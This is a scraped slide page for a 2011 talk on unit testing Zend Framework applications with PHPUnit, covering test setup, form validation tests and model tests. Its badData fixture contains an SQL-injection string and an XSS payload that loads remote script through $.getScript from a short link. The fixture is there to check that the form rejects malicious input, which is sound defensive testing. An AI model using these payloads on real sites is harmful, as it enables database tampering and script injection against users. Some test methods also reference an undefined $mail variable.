Zero to SOLIDZero to SOLID
Zero to SOLID
 
November Camp - Spec BDD with PHPSpec 2
November Camp - Spec BDD with PHPSpec 2November Camp - Spec BDD with PHPSpec 2
November Camp - Spec BDD with PHPSpec 2
 
Adding Dependency Injection to Legacy Applications
Adding Dependency Injection to Legacy ApplicationsAdding Dependency Injection to Legacy Applications
Adding Dependency Injection to Legacy Applications
 
CakePHP workshop
CakePHP workshopCakePHP workshop
CakePHP workshop
 

Viewers also liked

Laravel 4 package development
Laravel 4 package developmentLaravel 4 package development
Laravel 4 package developmentTihomir Opačić
 
Intro to Laravel 4 : By Chris Moore
Intro to Laravel 4 : By Chris Moore Intro to Laravel 4 : By Chris Moore
Intro to Laravel 4 : By Chris Moore kareerme
 
expressjs-cleancontroller-160427080619
expressjs-cleancontroller-160427080619expressjs-cleancontroller-160427080619
expressjs-cleancontroller-160427080619Roman Sachenko
 
San Francisco PHP Meetup Presentation on Zend Framework
San Francisco PHP Meetup Presentation on Zend FrameworkSan Francisco PHP Meetup Presentation on Zend Framework
San Francisco PHP Meetup Presentation on Zend Frameworkzend
 
Facebook Development with Zend Framework
Facebook Development with Zend FrameworkFacebook Development with Zend Framework
Facebook Development with Zend FrameworkBrett Harris
 
Node lt
Node ltNode lt
Node ltsnodar
 
Beginning Jquery In Drupal Theming
Beginning Jquery In Drupal ThemingBeginning Jquery In Drupal Theming
Beginning Jquery In Drupal ThemingRob Knight
 
Zend Framework Components for non-framework Development
Zend Framework Components for non-framework DevelopmentZend Framework Components for non-framework Development
Zend Framework Components for non-framework DevelopmentShahar Evron
 
PHPBootcamp - Zend Framework
PHPBootcamp - Zend FrameworkPHPBootcamp - Zend Framework
PHPBootcamp - Zend Frameworkthomasw
 
Stack Overflow Austin - jQuery for Developers
Stack Overflow Austin - jQuery for DevelopersStack Overflow Austin - jQuery for Developers
Stack Overflow Austin - jQuery for DevelopersJonathan Sharp
 
Devdays Seattle jQuery Intro for Developers
Devdays Seattle jQuery Intro for DevelopersDevdays Seattle jQuery Intro for Developers
Devdays Seattle jQuery Intro for Developerscody lindley
 
Node js presentation
Node js presentationNode js presentation
Node js presentationshereefsakr
 

Viewers also liked (20)

Laravel tips
Laravel tipsLaravel tips
Laravel tips
 
Express yourself
Express yourselfExpress yourself
Express yourself
 
Laravel 4 package development
Laravel 4 package developmentLaravel 4 package development
Laravel 4 package development
 
Sst hackathon express
Sst hackathon expressSst hackathon express
Sst hackathon express
 
Big Data loves JS
Big Data loves JSBig Data loves JS
Big Data loves JS
 
Intro to Laravel 4 : By Chris Moore
Intro to Laravel 4 : By Chris Moore Intro to Laravel 4 : By Chris Moore
Intro to Laravel 4 : By Chris Moore
 
expressjs-cleancontroller-160427080619
expressjs-cleancontroller-160427080619expressjs-cleancontroller-160427080619
expressjs-cleancontroller-160427080619
 
Kraken.js Lab Primer
Kraken.js Lab PrimerKraken.js Lab Primer
Kraken.js Lab Primer
 
Cooking with jQuery
Cooking with jQueryCooking with jQuery
Cooking with jQuery
 
San Francisco PHP Meetup Presentation on Zend Framework
San Francisco PHP Meetup Presentation on Zend FrameworkSan Francisco PHP Meetup Presentation on Zend Framework
San Francisco PHP Meetup Presentation on Zend Framework
 
Facebook Development with Zend Framework
Facebook Development with Zend FrameworkFacebook Development with Zend Framework
Facebook Development with Zend Framework
 
Node lt
Node ltNode lt
Node lt
 
Nature
NatureNature
Nature
 
Beginning Jquery In Drupal Theming
Beginning Jquery In Drupal ThemingBeginning Jquery In Drupal Theming
Beginning Jquery In Drupal Theming
 
Zend Framework Components for non-framework Development
Zend Framework Components for non-framework DevelopmentZend Framework Components for non-framework Development
Zend Framework Components for non-framework Development
 
PHPBootcamp - Zend Framework
PHPBootcamp - Zend FrameworkPHPBootcamp - Zend Framework
PHPBootcamp - Zend Framework
 
Stack Overflow Austin - jQuery for Developers
Stack Overflow Austin - jQuery for DevelopersStack Overflow Austin - jQuery for Developers
Stack Overflow Austin - jQuery for Developers
 
Frontend technologies
Frontend technologiesFrontend technologies
Frontend technologies
 
Devdays Seattle jQuery Intro for Developers
Devdays Seattle jQuery Intro for DevelopersDevdays Seattle jQuery Intro for Developers
Devdays Seattle jQuery Intro for Developers
 
Node js presentation
Node js presentationNode js presentation
Node js presentation
 

Similar to Unit Testing Zend Framework Applications

Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Michelangelo van Dam
 
Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Michelangelo van Dam
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ EtsyNishan Subedi
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Shinya Ohyanagi
 
PhpUnit - The most unknown Parts
PhpUnit - The most unknown PartsPhpUnit - The most unknown Parts
PhpUnit - The most unknown PartsBastian Feder
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitMocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitmfrost503
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Michelangelo van Dam
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastMichelangelo van Dam
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐいHisateru Tanaka
 
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnitinternational PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnitsmueller_sandsmedia
 
Php unit the-mostunknownparts
Php unit the-mostunknownpartsPhp unit the-mostunknownparts
Php unit the-mostunknownpartsBastian Feder
 
Why is crud a bad idea - focus on real scenarios
Why is crud a bad idea - focus on real scenariosWhy is crud a bad idea - focus on real scenarios
Why is crud a bad idea - focus on real scenariosDivante
 
Load Testing with PHP and RedLine13
Load Testing with PHP and RedLine13Load Testing with PHP and RedLine13
Load Testing with PHP and RedLine13Jason Lotito
 
Quality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormQuality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormMichelangelo van Dam
 

Similar to Unit Testing Zend Framework Applications (20)

Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
 
Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8Unit testing after Zend Framework 1.8
Unit testing after Zend Framework 1.8
 
Virtual Madness @ Etsy
Virtual Madness @ EtsyVirtual Madness @ Etsy
Virtual Madness @ Etsy
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2
 
Unittests für Dummies
Unittests für DummiesUnittests für Dummies
Unittests für Dummies
 
PhpUnit - The most unknown Parts
PhpUnit - The most unknown PartsPhpUnit - The most unknown Parts
PhpUnit - The most unknown Parts
 
Mocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnitMocking Dependencies in PHPUnit
Mocking Dependencies in PHPUnit
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013
 
Lithium Best
Lithium Best Lithium Best
Lithium Best
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
 
PHP Unit Testing
PHP Unit TestingPHP Unit Testing
PHP Unit Testing
 
Fatc
FatcFatc
Fatc
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
 
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnitinternational PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
international PHP2011_Bastian Feder_The most unknown Parts of PHPUnit
 
Php unit the-mostunknownparts
Php unit the-mostunknownpartsPhp unit the-mostunknownparts
Php unit the-mostunknownparts
 
Test driven development_for_php
Test driven development_for_phpTest driven development_for_php
Test driven development_for_php
 
Why is crud a bad idea - focus on real scenarios
Why is crud a bad idea - focus on real scenariosWhy is crud a bad idea - focus on real scenarios
Why is crud a bad idea - focus on real scenarios
 
Load Testing with PHP and RedLine13
Load Testing with PHP and RedLine13Load Testing with PHP and RedLine13
Load Testing with PHP and RedLine13
 
Quality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStormQuality assurance for php projects with PHPStorm
Quality assurance for php projects with PHPStorm
 
Drupal7 dbtng
Drupal7  dbtngDrupal7  dbtng
Drupal7 dbtng
 

More from Michelangelo van Dam

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultMichelangelo van Dam
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functionsMichelangelo van Dam
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyMichelangelo van Dam
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageMichelangelo van Dam
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful businessMichelangelo van Dam
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me laterMichelangelo van Dam
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesMichelangelo van Dam
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heavenMichelangelo van Dam
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an apiMichelangelo van Dam
 

More from Michelangelo van Dam (20)

GDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and defaultGDPR Art. 25 - Privacy by design and default
GDPR Art. 25 - Privacy by design and default
 
Moving from app services to azure functions
Moving from app services to azure functionsMoving from app services to azure functions
Moving from app services to azure functions
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
DevOps or DevSecOps
DevOps or DevSecOpsDevOps or DevSecOps
DevOps or DevSecOps
 
Privacy by design
Privacy by designPrivacy by design
Privacy by design
 
Continuous deployment 2.0
Continuous deployment 2.0Continuous deployment 2.0
Continuous deployment 2.0
 
Let your tests drive your code
Let your tests drive your codeLet your tests drive your code
Let your tests drive your code
 
General Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's storyGeneral Data Protection Regulation, a developer's story
General Data Protection Regulation, a developer's story
 
Leveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantageLeveraging a distributed architecture to your advantage
Leveraging a distributed architecture to your advantage
 
The road to php 7.1
The road to php 7.1The road to php 7.1
The road to php 7.1
 
Open source for a successful business
Open source for a successful businessOpen source for a successful business
Open source for a successful business
 
Decouple your framework now, thank me later
Decouple your framework now, thank me laterDecouple your framework now, thank me later
Decouple your framework now, thank me later
 
Deploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutesDeploy to azure in less then 15 minutes
Deploy to azure in less then 15 minutes
 
Azure and OSS, a match made in heaven
Azure and OSS, a match made in heavenAzure and OSS, a match made in heaven
Azure and OSS, a match made in heaven
 
Getting hands dirty with php7
Getting hands dirty with php7Getting hands dirty with php7
Getting hands dirty with php7
 
Create, test, secure, repeat
Create, test, secure, repeatCreate, test, secure, repeat
Create, test, secure, repeat
 
The Continuous PHP Pipeline
The Continuous PHP PipelineThe Continuous PHP Pipeline
The Continuous PHP Pipeline
 
Easily extend your existing php app with an api
Easily extend your existing php app with an apiEasily extend your existing php app with an api
Easily extend your existing php app with an api
 
Your code are my tests
Your code are my testsYour code are my tests
Your code are my tests
 
200K+ reasons security is a must
200K+ reasons security is a must200K+ reasons security is a must
200K+ reasons security is a must
 

Recently uploaded

Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
Top 10 Hubspot Development Companies in 2024
Top 10 Hubspot Development Companies in 2024Top 10 Hubspot Development Companies in 2024
Top 10 Hubspot Development Companies in 2024TopCSSGallery
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsRavi Sanghani
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Kaya Weers
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPathCommunity
 
A Framework for Development in the AI Age
A Framework for Development in the AI AgeA Framework for Development in the AI Age
A Framework for Development in the AI AgeCprime
 
QCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesQCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesBernd Ruecker
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructureitnewsafrica
 
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...Nikki Chapple
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxLoriGlavin3
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Alkin Tezuysal
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationKnoldus Inc.
 
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxfnnc6jmgwh
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesKari Kakkonen
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 

Recently uploaded (20)

Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
Top 10 Hubspot Development Companies in 2024
Top 10 Hubspot Development Companies in 2024Top 10 Hubspot Development Companies in 2024
Top 10 Hubspot Development Companies in 2024
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and Insights
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to Hero
 
A Framework for Development in the AI Age
A Framework for Development in the AI AgeA Framework for Development in the AI Age
A Framework for Development in the AI Age
 
QCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesQCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architectures
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
 
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
Microsoft 365 Copilot: How to boost your productivity with AI – Part one: Ado...
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog Presentation
 
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptxGenerative AI - Gitex v1Generative AI - Gitex v1.pptx
Generative AI - Gitex v1Generative AI - Gitex v1.pptx
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examples
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 

Unit Testing Zend Framework Applications

  • 1. Unit Testing with Zend Framework PHPBenelux Meeting May 2011 Haasrode - Belgium
  • 2. Michelangelo van Dam • Independent Consultant • Zend Certified Engineer (ZCE) • President of PHPBenelux
  • 5. Any reasons not to test?
  • 6. Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery •…
  • 8. The cost of bugs Bugs Project Costs 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 9. The cost of bugs Bugs Project Costs Unittests 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 10. Maintainability •- during development test will fail indicating bugs •- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy
  • 11. Remember “Once a test is made, it will always be tested!”
  • 12.
  • 13. Confidence •- for the developer code works •- for the manager project succeeds •- for sales / general management / share holders making profit •- for the customer paying for what they want
  • 14.
  • 17. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  • 18. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  • 19. Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  • 20. Start your engines! http://www.flickr.com/photos/robdunckley/3781995277
  • 22. CommentForm Name: E-mail Address: Website: Comment: Post
  • 23. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase { protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  • 24. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  • 25. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  • 26. Create the form class <?php class Application_Form_CommentForm extends Zend_Form { public function init() { /* Form Elements & Other Definitions Here ... */ } }
  • 28. Let’s put in our elements <?php class Application_Form_CommentForm extends Zend_Form { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  • 30. Filter - Validate $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  • 31. Green, warm & fuzzy
  • 32. You’re a winner! ☑ quality code ☑ tested ☑ secure ☑ reusable
  • 34. Testing business logic •- models contain logic tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution
  • 35. Type: data containers •- contains structured data populated through setters and getters •- perform logic tied to it’s purpose transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  • 37. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  • 39. Create a simple model <?php class Application_Model_Comment { protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  • 40. We pass the test…
  • 42. Not all data from form! •- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  • 43. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
